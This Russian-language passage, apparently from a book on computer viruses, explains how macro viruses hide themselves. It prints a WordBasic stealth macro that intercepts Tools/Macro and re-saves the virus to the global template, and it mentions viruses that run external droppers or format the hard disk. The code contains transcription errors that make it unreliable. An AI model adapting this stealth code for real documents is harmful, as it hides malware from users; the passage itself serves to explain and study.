Специальные процедуры

Существует несколько способов скрыть вирус или сделать его более

эффективным. Например, можно создать специальный макрос, прячу-

щий вирус, если Tools/Macro открывается для просмотра. Код такого

макроса может выглядеть примерно так:

Sub MAIN

On Error Goto ErrorRoutine

OldName$=NomFichier$()

If macros.bDebug Then

MsgBox "start ToolsMacro"

Dim dig As OutilsMacro

If macros.bDebug Then MsgBox "1"

GetCurValues dig

If macros.bDebug Then MsgBox "2"

On Error Goto Skip

Dialog dig

OutilsMacro dig

Skip:

On Error Goto ErrorRoutine 'При ошибке на выход

End If

REM enable automacros

DisableAutoMacros 0

macros. SavToGlobal(01dName$)

macros.objectiv

Goto Done 'Переход на метку Done

ErrorRoutine:

On Error Goto Done "Переход на метку Done

If macros.bDebug Then

MsgBox "error "+Str$(Err)+" occurred" 'Сообщение об ошибке

End If

Done:

End Sub

Макро-вирусы также могут включать внешние процедуры. Например,

вирус Nuclear пытается откомпилировать и запустить внешний

файл-разносчик вируса, некоторые троянские макросы пытаются фор-

матировать винчестер при открытии документа.